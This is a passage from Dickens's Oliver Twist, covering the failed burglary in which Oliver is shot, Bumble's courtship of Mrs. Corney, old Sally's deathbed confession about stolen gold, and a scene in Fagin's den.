myself with a crack on the head. That +makes no noise, and is quite as certain, and more genteel. Here, +Bill, wrench the shutter open. He's game enough now, I'll +engage. I've seen older hands of his age took the same way, for +a minute or two, on a cold night.' + +Sikes, invoking terrific imprecations upon Fagin's head for +sending Oliver on such an errand, plied the crowbar vigorously, +but with little noise. After some delay, and some assistance +from Toby, the shutter to which he had referred, swung open on +its hinges. + +It was a little lattice window, about five feet and a half above +the ground, at the back of the house: which belonged to a +scullery, or small brewing-place, at the end of the passage. The +aperture was so small, that the inmates had probably not thought +it worth while to defend it more securely; but it was large +enough to admit a boy of Oliver's size, nevertheless. A very +brief exercise of Mr. Sike's art, sufficed to overcome the +fastening of the lattice; and it soon stood wide open also. + +'Now listen, you young limb,' whispered Sikes, drawing a dark +lantern from his pocket, and throwing the glare full on Oliver's +face; 'I'm a going to put you through there. Take this light; go +softly up the steps straight afore you, and along the little +hall, to the street door; unfasten it, and let us in.' + +'There's a bolt at the top, you won't be able to reach,' +interposed Toby. 'Stand upon one of the hall chairs. There are +three there, Bill, with a jolly large blue unicorn and gold +pitchfork on 'em: which is the old lady's arms.' + +'Keep quiet, can't you?' replied Sikes, with a threatening look. +'The room-door is open, is it?' + +'Wide,' replied Toby, after peeping in to satisfy himself. 'The +game of that is, that they always leave it open with a catch, so +that the dog, who's got a bed in here, may walk up and down the +passage when he feels wakeful. Ha! ha! Barney 'ticed him away +to-night. So neat!' + +Although Mr. Crackit spoke in a scarcely audible whisper, and +laughed without noise, Sikes imperiously commanded him to be +silent, and to get to work. Toby complied, by first producing +his lantern, and placing it on the ground; then by planting +himself firmly with his head against the wall beneath the window, +and his hands upon his knees, so as to make a step of his back. +This was no sooner done, than Sikes, mounting upon him, put Oiver +gently through the window with his feet first; and, without +leaving hold of his collar, planted him safely on the floor +inside. + +'Take this lantern,' said Sikes, looking into the room. 'You see +the stairs afore you?' + +Oliver, more dead than alive, gasped out, 'Yes.' Sikes, pointing +to the street-door with the pistol-barrel, briefly advised him to +take notice that he was within shot all the way; and that if he +faltered, he would fall dead that instant. + +'It's done in a minute,' said Sikes, in the same low whisper. +'Directly I leave go of you, do your work. Hark!' + +'What's that?' whispered the other man. + +They listened intently. + +'Nothing,' said Sikes, releasing his hold of Oliver. 'Now!' + +In the short time he had had to collect his senses, the boy had +firmly resolved that, whether he died in the attempt or not, he +would make one effort to dart upstairs from the hall, and alarm +the family. Filled with this idea, he advanced at once, but +stealthily. + +'Come back!' suddenly cried Sikes aloud. 'Back! back!' + +Scared by the sudden breaking of the dead stillness of the place, +and by a loud cry which followed it, Oliver let his lantern fall, +and knew not whether to advance or fly. + +The cry was repeated--a light appeared--a vision of two terrified +half-dressed men at the top of the stairs swam before his eyes--a +flash--a loud noise--a smoke--a crash somewhere, but where he +knew not,--and he staggered back. + +Sikes had disappeared for an instant; but he was up again, and +had him by the collar before the smoke had cleared away. He +fired his own pistol after the men, who were already retreating; +and dragged the boy up. + +'Clasp your arm tighter,' said Sikes, as he drew him through the +window. 'Give me a shawl here. They've hit him. Quick! How +the boy bleeds!' + +Then came the loud ringing of a bell, mingled with the noise of +fire-arms, and the shouts of men, and the sensation of being +carried over uneven ground at a rapid pace. And then, the noises +grew confused in the distance; and a cold deadly feeling crept +over the boy's heart; and he saw or heard no more. + + + + +CHAPTER XXIII + +WHICH CONTAINS THE SUBSTANCE OF A PLEASANT CONVERSATION BETWEEN +MR. BUMBLE AND A LADY; AND SHOWS THAT EVEN A BEADLE MAY BE +SUSCEPTIBLE ON SOME POINTS + +The night was bitter cold. The snow lay on the ground, frozen +into a hard thick crust, so that only the heaps that had drifted +into byways and corners were affected by the sharp wind that +howled abroad: which, as if expending increased fury on such +prey as it found, caught it savagely up in clouds, and, whirling +it into a thousand misty eddies, scattered it in air. Bleak, +dark, and piercing cold, it was a night for the well-housed and +fed to draw round the bright fire and thank God they were at +home; and for the homeless, starving wretch to lay him down and +die. Many hunger-worn outcasts close their eyes in our bare +streets, at such times, who, let their crimes have been what they +may, can hardly open them in a more bitter world. + +Such was the aspect of out-of-doors affairs, when Mrs. Corney, the +matron of the workhouse to which our readers have been already +introduced as the birthplace of Oliver Twist, sat herself down +before a cheerful fire in her own little room, and glanced, with +no small degree of complacency, at a small round table: on which +stood a tray of corresponding size, furnished with all necessary +materials for the most grateful meal that matrons enjoy. In +fact, Mrs. Corney was about to solace herself with a cup of tea. +As she glanced from the table to the fireplace, where the +smallest of all possible kettles was singing a small song in a +small voice, her inward satisfaction evidently increased,--so +much so, indeed, that Mrs. Corney smiled. + +'Well!' said the matron, leaning her elbow on the table, and +looking reflectively at the fire; 'I'm sure we have all on us a +great deal to be grateful for! A great deal, if we did but know +it. Ah!' + +Mrs. Corney shook her head mournfully, as if deploring the mental +blindness of those paupers who did not know it; and thrusting a +silver spoon (private property) into the inmost recesses of a +two-ounce tin tea-caddy, proceeded to make the tea. + +How slight a thing will disturb the equanimity of our frail +minds! The black teapot, being very small and easily filled, ran +over while Mrs. Corney was moralising; and the water slightly +scalded Mrs. Corney's hand. + +'Drat the pot!' said the worthy matron, setting it down very +hastily on the hob; 'a little stupid thing, that only holds a +couple of cups! What use is it of, to anybody! Except,' said +Mrs. Corney, pausing, 'except to a poor desolate creature like +me. Oh dear!' + +With these words, the matron dropped into her chair, and, once +more resting her elbow on the table, thought of her solitary +fate. The small teapot, and the single cup, had awakened in her +mind sad recollections of Mr. Corney (who had not been dead more +than five-and-twenty years); and she was overpowered. + +'I shall never get another!' said Mrs. Corney, pettishly; 'I +shall never get another--like him.' + +Whether this remark bore reference to the husband, or the teapot, +is uncertain. It might have been the latter; for Mrs. Corney +looked at it as she spoke; and took it up afterwards. She had +just tasted her first cup, when she was disturbed by a soft tap +at the room-door. + +'Oh, come in with you!' said Mrs. Corney, sharply. 'Some of the +old women dying, I suppose. They always die when I'm at meals. +Don't stand there, letting the cold air in, don't. What's amiss +now, eh?' + +'Nothing, ma'am, nothing,' replied a man's voice. + +'Dear me!' exclaimed the matron, in a much sweeter tone, 'is that +Mr. Bumble?' + +'At your service, ma'am,' said Mr. Bumble, who had been stopping +outside to rub his shoes clean, and to shake the snow off his +coat; and who now made his appearance, bearing the cocked hat in +one hand and a bundle in the other. 'Shall I shut the door, +ma'am?' + +The lady modestly hesitated to reply, lest there should be any +impropriety in holding an interview with Mr. Bumble, with closed +doors. Mr. Bumble taking advantage of the hesitation, and being +very cold himself, shut it without permission. + +'Hard weather, Mr. Bumble,' said the matron. + +'Hard, indeed, ma'am,' replied the beadle. 'Anti-porochial +weather this, ma'am. We have given away, Mrs. Corney, we have +given away a matter of twenty quartern loaves and a cheese and a +half, this very blessed afternoon; and yet them paupers are not +contented.' + +'Of course not. When would they be, Mr. Bumble?' said the +matron, sipping her tea. + +'When, indeed, ma'am!' rejoined Mr. Bumble. 'Why here's one man +that, in consideration of his wife and large family, has a +quartern loaf and a good pound of cheese, full weight. Is he +grateful, ma'am? Is he grateful? Not a copper farthing's worth +of it! What does he do, ma'am, but ask for a few coals; if it's +only a pocket handkerchief full, he says! Coals! What would he +do with coals? Toast his cheese with 'em and then come back for +more. That's the way with these people, ma'am; give 'em a apron +full of coals to-day, and they'll come back for another, the day +after to-morrow, as brazen as alabaster.' + +The matron expressed her entire concurrence in this intelligible +simile; and the beadle went on. + +'I never,' said Mr. Bumble, 'see anything like the pitch it's got +to. The day afore yesterday, a man--you have been a married +woman, ma'am, and I may mention it to you--a man, with hardly a +rag upon his back (here Mrs. Corney looked at the floor), goes to +our overseer's door when he has got company coming to dinner; and +says, he must be relieved, Mrs. Corney. As he wouldn't go away, +and shocked the company very much, our overseer sent him out a +pound of potatoes and half a pint of oatmeal. "My heart!" says +the ungrateful villain, "what's the use of _this_ to me? You might +as well give me a pair of iron spectacles!" "Very good," says +our overseer, taking 'em away again, "you won't get anything else +here." "Then I'll die in the streets!" says the vagrant. "Oh +no, you won't," says our overseer.' + +'Ha! ha! That was very good! So like Mr. Grannett, wasn't it?' +interposed the matron. 'Well, Mr. Bumble?' + +'Well, ma'am,' rejoined the beadle, 'he went away; and he _did_ die +in the streets. There's a obstinate pauper for you!' + +'It beats anything I could have believed,' observed the matron +emphatically. 'But don't you think out-of-door relief a very bad +thing, any way, Mr. Bumble? You're a gentleman of experience, +and ought to know. Come.' + +'Mrs. Corney,' said the beadle, smiling as men smile who are +conscious of superior information, 'out-of-door relief, properly +managed: properly managed, ma'am: is the porochial safeguard. The +great principle of out-of-door relief is, to give the paupers +exactly what they don't want; and then they get tired of coming.' + +'Dear me!' exclaimed Mrs. Corney. 'Well, that is a good one, +too!' + +'Yes. Betwixt you and me, ma'am,' returned Mr. Bumble, 'that's +the great principle; and that's the reason why, if you look at +any cases that get into them owdacious newspapers, you'll always +observe that sick families have been relieved with slices of +cheese. That's the rule now, Mrs. Corney, all over the country. +But, however,' said the beadle, stopping to unpack his bundle, +'these are official secrets, ma'am; not to be spoken of; except, +as I may say, among the porochial officers, such as ourselves. +This is the port wine, ma'am, that the board ordered for the +infirmary; real, fresh, genuine port wine; only out of the cask +this forenoon; clear as a bell, and no sediment!' + +Having held the first bottle up to the light, and shaken it well +to test its excellence, Mr. Bumble placed them both on top of a +chest of drawers; folded the handkerchief in which they had been +wrapped; put it carefully in his pocket; and took up his hat, as +if to go. + +'You'll have a very cold walk, Mr. Bumble,' said the matron. + +'It blows, ma'am,' replied Mr. Bumble, turning up his +coat-collar, 'enough to cut one's ears off.' + +The matron looked, from the little kettle, to the beadle, who was +moving towards the door; and as the beadle coughed, preparatory +to bidding her good-night, bashfully inquired whether--whether he +wouldn't take a cup of tea? + +Mr. Bumble instantaneously turned back his collar again; laid his +hat and stick upon a chair; and drew another chair up to the +table. As he slowly seated himself, he looked at the lady. She +fixed her eyes upon the little teapot. Mr. Bumble coughed again, +and slightly smiled. + +Mrs. Corney rose to get another cup and saucer from the closet. +As she sat down, her eyes once again encountered those of the +gallant beadle; she coloured, and applied herself to the task of +making his tea. Again Mr. Bumble coughed--louder this time than +he had coughed yet. + +'Sweet? Mr. Bumble?' inquired the matron, taking up the +sugar-basin. + +'Very sweet, indeed, ma'am,' replied Mr. Bumble. He fixed his +eyes on Mrs. Corney as he said this; and if ever a beadle looked +tender, Mr. Bumble was that beadle at that moment. + +The tea was made, and handed in silence. Mr. Bumble, having +spread a handkerchief over his knees to prevent the crumbs from +sullying the splendour of his shorts, began to eat and drink; +varying these amusements, occasionally, by fetching a deep sigh; +which, however, had no injurious effect upon his appetite, but, +on the contrary, rather seemed to facilitate his operations in +the tea and toast department. + +'You have a cat, ma'am, I see,' said Mr. Bumble, glancing at one +who, in the centre of her family, was basking before the fire; +'and kittens too, I declare!' + +'I am so fond of them, Mr. Bumble, you can't think,' replied the +matron. 'They're _so_ happy, _so_ frolicsome, and _so_ cheerful, that +they are quite companions for me.' + +'Very nice animals, ma'am,' replied Mr. Bumble, approvingly; 'so +very domestic.' + +'Oh, yes!' rejoined the matron with enthusiasm; 'so fond of their +home too, that it's quite a pleasure, I'm sure.' + +'Mrs. Corney, ma'am,' said Mr. Bumble, slowly, and marking the +time with his teaspoon, 'I mean to say this, ma'am; that any cat, +or kitten, that could live with you, ma'am, and _not_ be fond of +its home, must be a ass, ma'am.' + +'Oh, Mr. Bumble!' remonstrated Mrs. Corney. + +'It's of no use disguising facts, ma'am,' said Mr. Bumble, slowly +flourishing the teaspoon with a kind of amorous dignity which +made him doubly impressive; 'I would drown it myself, with +pleasure.' + +'Then you're a cruel man,' said the matron vivaciously, as she +held out her hand for the beadle's cup; 'and a very hard-hearted +man besides.' + +'Hard-hearted, ma'am?' said Mr. Bumble. 'Hard?' Mr. Bumble +resigned his cup without another word; squeezed Mrs. Corney's +little finger as she took it; and inflicting two open-handed +slaps upon his laced waistcoat, gave a mighty sigh, and hitched +his chair a very little morsel farther from the fire. + +It was a round table; and as Mrs. Corney and Mr. Bumble had been +sitting opposite each other, with no great space between them, +and fronting the fire, it will be seen that Mr. Bumble, in +receding from the fire, and still keeping at the table, increased +the distance between himself and Mrs. Corney; which proceeding, +some prudent readers will doubtless be disposed to admire, and to +consider an act of great heroism on Mr. Bumble's part: he being +in some sort tempted by time, place, and opportunity, to give +utterance to certain soft nothings, which however well they may +become the lips of the light and thoughtless, do seem +immeasurably beneath the dignity of judges of the land, members +of parliament, ministers of state, lord mayors, and other great +public functionaries, but more particularly beneath the +stateliness and gravity of a beadle: who (as is well known) +should be the sternest and most inflexible among them all. + +Whatever were Mr. Bumble's intentions, however (and no doubt they +were of the best): it unfortunately happened, as has been twice +before remarked, that the table was a round one; consequently Mr. +Bumble, moving his chair by little and little, soon began to +diminish the distance between himself and the matron; and, +continuing to travel round the outer edge of the circle, brought +his chair, in time, close to that in which the matron was seated. + +Indeed, the two chairs touched; and when they did so, Mr. Bumble +stopped. + +Now, if the matron had moved her chair to the right, she would +have been scorched by the fire; and if to the left, she must have +fallen into Mr. Bumble's arms; so (being a discreet matron, and +no doubt foreseeing these consequences at a glance) she remained +where she was, and handed Mr. Bumble another cup of tea. + +'Hard-hearted, Mrs. Corney?' said Mr. Bumble, stirring his tea, +and looking up into the matron's face; 'are _you_ hard-hearted, +Mrs. Corney?' + +'Dear me!' exclaimed the matron, 'what a very curious question +from a single man. What can you want to know for, Mr. Bumble?' + +The beadle drank his tea to the last drop; finished a piece of +toast; whisked the crumbs off his knees; wiped his lips; and +deliberately kissed the matron. + +'Mr. Bumble!' cried that discreet lady in a whisper; for the +fright was so great, that she had quite lost her voice, 'Mr. +Bumble, I shall scream!' Mr. Bumble made no reply; but in a slow +and dignified manner, put his arm round the matron's waist. + +As the lady had stated her intention of screaming, of course she +would have screamed at this additional boldness, but that the +exertion was rendered unnecessary by a hasty knocking at the +door: which was no sooner heard, than Mr. Bumble darted, with +much agility, to the wine bottles, and began dusting them with +great violence: while the matron sharply demanded who was there. + +It is worthy of remark, as a curious physical instance of the +efficacy of a sudden surprise in counteracting the effects of +extreme fear, that her voice had quite recovered all its official +asperity. + +'If you please, mistress,' said a withered old female pauper, +hideously ugly: putting her head in at the door, 'Old Sally is +a-going fast.' + +'Well, what's that to me?' angrily demanded the matron. 'I can't +keep her alive, can I?' + +'No, no, mistress,' replied the old woman, 'nobody can; she's far +beyond the reach of help. I've seen a many people die; little +babes and great strong men; and I know when death's a-coming, +well enough. But she's troubled in her mind: and when the fits +are not on her,--and that's not often, for she is dying very +hard,--she says she has got something to tell, which you must +hear. She'll never die quiet till you come, mistress.' + +At this intelligence, the worthy Mrs. Corney muttered a variety +of invectives against old women who couldn't even die without +purposely annoying their betters; and, muffling herself in a +thick shawl which she hastily caught up, briefly requested Mr. +Bumble to stay till she came back, lest anything particular +should occur. Bidding the messenger walk fast, and not be all +night hobbling up the stairs, she followed her from the room with +a very ill grace, scolding all the way. + +Mr. Bumble's conduct on being left to himself, was rather +inexplicable. He opened the closet, counted the teaspoons, +weighed the sugar-tongs, closely inspected a silver milk-pot to +ascertain that it was of the genuine metal, and, having satisfied +his curiosity on these points, put on his cocked hat corner-wise, +and danced with much gravity four distinct times round the table. + +Having gone through this very extraordinary performance, he took +off the cocked hat again, and, spreading himself before the fire +with his back towards it, seemed to be mentally engaged in taking +an exact inventory of the furniture. + + + + +CHAPTER XXIV + +TREATS ON A VERY POOR SUBJECT. BUT IS A SHORT ONE, AND MAY BE +FOUND OF IMPORTANCE IN THIS HISTORY + +It was no unfit messenger of death, who had disturbed the quiet +of the matron's room. Her body was bent by age; her limbs +trembled with palsy; her face, distorted into a mumbling leer, +resembled more the grotesque shaping of some wild pencil, than +the work of Nature's hand. + +Alas! How few of Nature's faces are left alone to gladden us +with their beauty! The cares, and sorrows, and hungerings, of +the world, change them as they change hearts; and it is only when +those passions sleep, and have lost their hold for ever, that the +troubled clouds pass off, and leave Heaven's surface clear. It +is a common thing for the countenances of the dead, even in that +fixed and rigid state, to subside into the long-forgotten +expression of sleeping infancy, and settle into the very look of +early life; so calm, so peaceful, do they grow again, that those +who knew them in their happy childhood, kneel by the coffin's +side in awe, and see the Angel even upon earth. + +The old crone tottered along the passages, and up the stairs, +muttering some indistinct answers to the chidings of her +companion; being at length compelled to pause for breath, she +gave the light into her hand, and remained behind to follow as +she might: while the more nimble superior made her way to the +room where the sick woman lay. + +It was a bare garret-room, with a dim light burning at the +farther end. There was another old woman watching by the bed; +the parish apothecary's apprentice was standing by the fire, +making a toothpick out of a quill. + +'Cold night, Mrs. Corney,' said this young gentleman, as the +matron entered. + +'Very cold, indeed, sir,' replied the mistress, in her most civil +tones, and dropping a curtsey as she spoke. + +'You should get better coals out of your contractors,' said the +apothecary's deputy, breaking a lump on the top of the fire with +the rusty poker; 'these are not at all the sort of thing for a +cold night.' + +'They're the board's choosing, sir,' returned the matron. 'The +least they could do, would be to keep us pretty warm: for our +places are hard enough.' + +The conversation was here interrupted by a moan from the sick +woman. + +'Oh!' said the young mag, turning his face towards the bed, as if +he had previously quite forgotten the patient, 'it's all U.P. +there, Mrs. Corney.' + +'It is, is it, sir?' asked the matron. + +'If she lasts a couple of hours, I shall be surprised,' said the +apothecary's apprentice, intent upon the toothpick's point. +'It's a break-up of the system altogether. Is she dozing, old +lady?' + +The attendant stooped over the bed, to ascertain; and nodded in +the affirmative. + +'Then perhaps she'll go off in that way, if you don't make a +row,' said the young man. 'Put the light on the floor. She +won't see it there.' + +The attendant did as she was told: shaking her head meanwhile, +to intimate that the woman would not die so easily; having done +so, she resumed her seat by the side of the other nurse, who had +by this time returned. The mistress, with an expression of +impatience, wrapped herself in her shawl, and sat at the foot of +the bed. + +The apothecary's apprentice, having completed the manufacture of +the toothpick, planted himself in front of the fire and made good +use of it for ten minutes or so: when apparently growing rather +dull, he wished Mrs. Corney joy of her job, and took himself off +on tiptoe. + +When they had sat in silence for some time, the two old women +rose from the bed, and crouching over the fire, held out their +withered hands to catch the heat. The flame threw a ghastly +light on their shrivelled faces, and made their ugliness appear +terrible, as, in this position, they began to converse in a low +voice. + +'Did she say any more, Anny dear, while I was gone?' inquired the +messenger. + +'Not a word,' replied the other. 'She plucked and tore at her +arms for a little time; but I held her hands, and she soon +dropped off. She hasn't much strength in her, so I easily kept +her quiet. I ain't so weak for an old woman, although I am on +parish allowance; no, no!' + +'Did she drink the hot wine the doctor said she was to have?' +demanded the first. + +'I tried to get it down,' rejoined the other. 'But her teeth +were tight set, and she clenched the mug so hard that it was as +much as I could do to get it back again. So I drank it; and it +did me good!' + +Looking cautiously round, to ascertain that they were not +overheard, the two hags cowered nearer to the fire, and chuckled +heartily. + +'I mind the time,' said the first speaker, 'when she would have +done the same, and made rare fun of it afterwards.' + +'Ay, that she would,' rejoined the other; 'she had a merry heart. +'A many, many, beautiful corpses she laid out, as nice and neat as +waxwork. My old eyes have seen them--ay, and those old hands +touched them too; for I have helped her, scores of times.' + +Stretching forth her trembling fingers as she spoke, the old +creature shook them exultingly before her face, and fumbling in +her pocket, brought out an old time-discoloured tin snuff-box, +from which she shook a few grains into the outstretched palm of +her companion, and a few more into her own. While they were thus +employed, the matron, who had been impatiently watching until the +dying woman should awaken from her stupor, joined them by the +fire, and sharply asked how long she was to wait? + +'Not long, mistress,' replied the second woman, looking up into +her face. 'We have none of us long to wait for Death. Patience, +patience! He'll be here soon enough for us all.' + +'Hold your tongue, you doting idiot!' said the matron sternly. +'You, Martha, tell me; has she been in this way before?' + +'Often,' answered the first woman. + +'But will never be again,' added the second one; 'that is, she'll +never wake again but once--and mind, mistress, that won't be for +long!' + +'Long or short,' said the matron, snappishly, 'she won't find me +here when she does wake; take care, both of you, how you worry me +again for nothing. It's no part of my duty to see all the old +women in the house die, and I won't--that's more. Mind that, you +impudent old harridans. If you make a fool of me again, I'll +soon cure you, I warrant you!' + +She was bouncing away, when a cry from the two women, who had +turned towards the bed, caused her to look round. The patient +had raised herself upright, and was stretching her arms towards +them. + +'Who's that?' she cried, in a hollow voice. + +'Hush, hush!' said one of the women, stooping over her. 'Lie +down, lie down!' + +'I'll never lie down again alive!' said the woman, struggling. 'I +_will_ tell her! Come here! Nearer! Let me whisper in your ear.' + +She clutched the matron by the arm, and forcing her into a chair +by the bedside, was about to speak, when looking round, she +caught sight of the two old women bending forward in the attitude +of eager listeners. + +'Turn them away,' said the woman, drowsily; 'make haste! make +haste!' + +The two old crones, chiming in together, began pouring out many +piteous lamentations that the poor dear was too far gone to know +her best friends; and were uttering sundry protestations that +they would never leave her, when the superior pushed them from +the room, closed the door, and returned to the bedside. On being +excluded, the old ladies changed their tone, and cried through +the keyhole that old Sally was drunk; which, indeed, was not +unlikely; since, in addition to a moderate dose of opium +prescribed by the apothecary, she was labouring under the effects +of a final taste of gin-and-water which had been privily +administered, in the openness of their hearts, by the worthy old +ladies themselves. + +'Now listen to me,' said the dying woman aloud, as if making a +great effort to revive one latent spark of energy. 'In this very +room--in this very bed--I once nursed a pretty young creetur', +that was brought into the house with her feet cut and bruised +with walking, and all soiled with dust and blood. She gave birth +to a boy, and died. Let me think--what was the year again!' + +'Never mind the year,' said the impatient auditor; 'what about +her?' + +'Ay,' murmured the sick woman, relapsing into her former drowsy +state, 'what about her?--what about--I know!' she cried, jumping +fiercely up: her face flushed, and her eyes starting from her +head--'I robbed her, so I did! She wasn't cold--I tell you she +wasn't cold, when I stole it!' + +'Stole what, for God's sake?' cried the matron, with a gesture as +if she would call for help. + +'_It_!' replied the woman, laying her hand over the other's mouth. +'The only thing she had. She wanted clothes to keep her warm, +and food to eat; but she had kept it safe, and had it in her +bosom. It was gold, I tell you! Rich gold, that might have +saved her life!' + +'Gold!' echoed the matron, bending eagerly over the woman as she +fell back. 'Go on, go on--yes--what of it? Who was the mother? +When was it?' + +'She charge me to keep it safe,' replied the woman with a groan, +'and trusted me as the only woman about her. I stole it in my +heart when she first showed it me hanging round her neck; and the +child's death, perhaps, is on me besides! They would have +treated him better, if they had known it all!' + +'Known what?' asked the other. 'Speak!' + +'The boy grew so like his mother,' said the woman, rambling on, +and not heeding the question, 'that I could never forget it when +I saw his face. Poor girl! poor girl! She was so young, too! +Such a gentle lamb! Wait; there's more to tell. I have not told +you all, have I?' + +'No, no,' replied the matron, inclining her head to catch the +words, as they came more faintly from the dying woman. 'Be +quick, or it may be too late!' + +'The mother,' said the woman, making a more violent effort than +before; 'the mother, when the pains of death first came upon her, +whispered in my ear that if her baby was born alive, and thrived, +the day might come when it would not feel so much disgraced to +hear its poor young mother named. "And oh, kind Heaven!" she +said, folding her thin hands together, "whether it be boy or +girl, raise up some friends for it in this troubled world, and +take pity upon a lonely desolate child, abandoned to its mercy!"' + +'The boy's name?' demanded the matron. + +'They _called_ him Oliver,' replied the woman, feebly. 'The gold I +stole was--' + +'Yes, yes--what?' cried the other. + +She was bending eagerly over the woman to hear her reply; but +drew back, instinctively, as she once again rose, slowly and +stiffly, into a sitting posture; then, clutching the coverlid +with both hands, muttered some indistinct sounds in her throat, +and fell lifeless on the bed. + + * * * * * * * + +'Stone dead!' said one of the old women, hurrying in as soon as +the door was opened. + +'And nothing to tell, after all,' rejoined the matron, walking +carelessly away. + +The two crones, to all appearance, too busily occupied in the +preparations for their dreadful duties to make any reply, were +left alone, hovering about the body. + + + + +CHAPTER XXV + +WHEREIN THIS HISTORY REVERTS TO MR. FAGIN AND COMPANY + +While these things were passing in the country workhouse, Mr. +Fagin sat in the old den--the same from which Oliver had been +removed by the girl--brooding over a dull, smoky fire. He held a +pair of bellows upon his knee, with which he had apparently been +endeavouring to rouse it into more cheerful action; but he had +fallen into deep thought; and with his arms folded on them, and +his chin resting on his thumbs, fixed his eyes, abstractedly, on +the rusty bars. + +At a table behind him sat the Artful Dodger, Master Charles +Bates, and Mr. Chitling: all intent upon a game of whist; the +Artful taking dummy against Master Bates and Mr. Chitling. The +countenance of the first-named gentleman, peculiarly intelligent +at all times, acquired great additional interest from his close +observance of the game, and his attentive perusal of Mr. +Chitling's hand; upon which, from time to time, as occasion +served, he bestowed a variety of earnest glances: wisely +regulating his own play by the result of his observations upon +his neighbour's cards. It being a cold night, the Dodger wore +his hat, as, indeed, was often his custom within doors. He also +sustained a clay pipe between his teeth, which he only removed +for a brief space when he deemed it necessary to apply for +refreshment to a quart pot upon the table, which stood ready +filled with gin-and-water for the accommodation of the company. + +Master Bates was also attentive to the play; but being of a more +excitable nature than his accomplished friend, it was observable +that he more frequently applied himself to the gin-and-water, and +moreover indulged in many jests and irrelevant remarks, all +highly unbecoming a scientific rubber. Indeed, the Artful, +presuming upon their close attachment, more than once took +occasion to reason gravely with his companion upon these +improprieties; all of which remonstrances, Master Bates received +in extremely good part; merely requesting his friend to be +'blowed,' or to insert his head in a sack, or replying with some +other neatly-turned witticism of a similar kind, the happy +application of which, excited considerable admiration in the mind +of Mr. Chitling. It was remarkable that the latter gentleman and +his partner invariably lost; and that the circumstance, so far +from angering Master Bates, appeared to afford him the highest +amusement, inasmuch as he laughed most uproariously at the end of +every deal, and protested that he had never seen such a jolly +game in all his born days. + +'That's two doubles and the rub,' said Mr. Chitling, with a very +long face, as he drew half-a-crown from his waistcoat-pocket. 'I +never see such a feller as you, Jack; you win everything. Even +when we've good cards, Charley and I can't make nothing of 'em.' + +Either the master or the manner of this remark, which was made +very ruefully, delighted Charley Bates so much, that his +consequent shout of laughter roused the Jew from his reverie, and +induced him to inquire what was the matter. + +'Matter, Fagin!' cried Charley. 'I wish you had watched the +play. Tommy Chitling hasn't won a point; and I went partners +with him against the Artfull and dumb.' + +'Ay, ay!' said the Jew, with a grin, which sufficiently +demonstrated that he was at no loss to understand the reason. +'Try 'em again, Tom; try 'em again.' + +'No more of it for me, thank 'ee, Fagin,' replied Mr. Chitling; +'I've had enough. That 'ere Dodger has such a run of luck that +there's no standing again' him.' + +'Ha! ha! my dear,' replied the Jew, 'you must get up very early +in the morning, to win against the Dodger.' + +'Morning!' said Charley Bates; 'you must put your boots on +over-night, and have a telescope at each eye, and a opera-glass +between your shoulders, if you want to come over him.' + +Mr. Dawkins received these handsome compliments with much +philosophy, and offered to cut any gentleman in company, for the +first picture-card, at a shilling at a time. Nobody accepting +the challenge, and his pipe being by this time smoked out, he +proceeded to amuse himself by sketching a ground-plan of Newgate +on the table with the piece of chalk which had served him in lieu +of counters; whistling, meantime, with peculiar shrillness. + +'How precious dull you are, Tommy!' said the Dodger, stopping +short when there had been a long silence; and addressing Mr. +Chitling. 'What do you think he's thinking of, Fagin?' + +'How should I know, my dear?' replied the Jew, looking round as +he plied the bellows. 'About his losses, maybe; or the little +retirement in the country that he's just left, eh? Ha! ha! Is +that it, my dear?' + +'Not a bit of it,' replied the Dodger, stopping the subject of +discourse as Mr. Chitling was about to reply. 'What do _you_ say, +Charley?' + +'_I_ should say,' replied Master Bates, with a grin, 'that he was +uncommon sweet upon Betsy. See how he's a-blushing! Oh, my eye! +here's a merry-go-rounder! Tommy Chitling's in love! Oh, Fagin, +Fagin! what a spree!' + +Thoroughly overpowered with the notion of Mr. Chitling being the +victim of the tender passion, Master Bates threw himself back in +his chair with such violence, that he lost his balance, and +pitched over upon the floor; where (the accident abating nothing +of his merriment) he lay at full length until his laugh was over, +when he resumed his former position, and began another laugh. + +'Never mind him, my dear,' said the Jew, winking at Mr. Dawkins, +and giving Master Bates a reproving tap with the nozzle of the +bellows. 'Betsy's a fine girl. Stick up to her, Tom. Stick up +to her.' + +'What I mean to say, Fagin,' replied Mr. Chitling, very red in +the face, 'is, that that isn't anything to anybody here.' + +'No more it is,' replied the Jew; 'Charley will talk. Don't mind +him, my dear; don't mind him. Betsy's a fine girl. Do as she +bids you, Tom, and you will make your fortune.' + +'So I _do_ do as she bids me,' replied Mr. Chitling; 'I shouldn't +have been milled, if it hadn't been for her advice. But it +turned out a good job for you; didn't it, Fagin! And what's six +weeks of it? It must come, some time or another, and why not in +the winter time when you don't want to go out a-walking so much; +eh, Fagin?' + +'Ah, to be sure, my dear,' replied the Jew. + +'You wouldn't mind it again, Tom, would you,' asked the Dodger, +winking upon Charley and the Jew, 'if Bet was all right?' + +'I mean to say that I shouldn't,' replied Tom, angrily. 'There, +now. Ah! Who'll say as much as that, I should like to know; eh, +Fagin?' + +'Nobody, my dear,' replied the Jew; 'not a soul, Tom. I don't +know one of 'em that would do it besides you; not one of 'em, my +dear.' + +'I might have got clear off, if I'd split upon her; mightn't I, +Fagin?' angrily pursued the poor half-witted dupe. 'A word from +me would have done it; wouldn't it, Fagin?' + +'To be sure it would, my dear,' replied the Jew. + +'But I didn't blab it; did I, Fagin?' demanded Tom, pouring +question upon question with great volubility. + +'No, no, to be sure,' replied the Jew; 'you were too +stout-hearted for that. A deal too stout, my dear!' + +'Perhaps I was,' rejoined Tom, looking round; 'and if I was, +what's to laugh at, in that; eh, Fagin?' + +The Jew, perceiving that Mr. Chitling was considerably roused, +hastened to assure him that nobody was laughing; and to prove the +gravity of the company, appealed to Master Bates, the principal +offender. But, unfortunately, Charley, in opening his mouth to +reply that he was never more serious in his life, was unable to +prevent the escape of such a violent roar, that the abused Mr. +Chitling, without any preliminary ceremonies, rushed across the +room and aimed a blow at the offender; who, being skilful in +evading pursuit, ducked to avoid it, and chose his time so well +that it lighted on the chest of the merry old gentleman, and +caused him to stagger to the wall, where he stood panting for +breath, while Mr. Chitling looked on in intense dismay. + +'Hark!' cried the Dodger at this moment, 'I heard the tinkler.' +Catching up the light, he crept softly upstairs. + +The bell was rung again, with some impatience, while the party +were in darkness. After a short pause, the Dodger reappeared, +and whispered Fagin mysteriously. + +'What!' cried the Jew, 'alone?' + +The Dodger nodded in the affirmative, and, shading the flame of +the candle with his hand, gave Charley Bates a private +intimation, in dumb show, that he had better not be funny just +then. Having performed this friendly office, he fixed his eyes +on the Jew's face, and awaited his directions. + +The old man bit his yellow fingers, and meditated for some +seconds; his face working with agitation the while, as if he 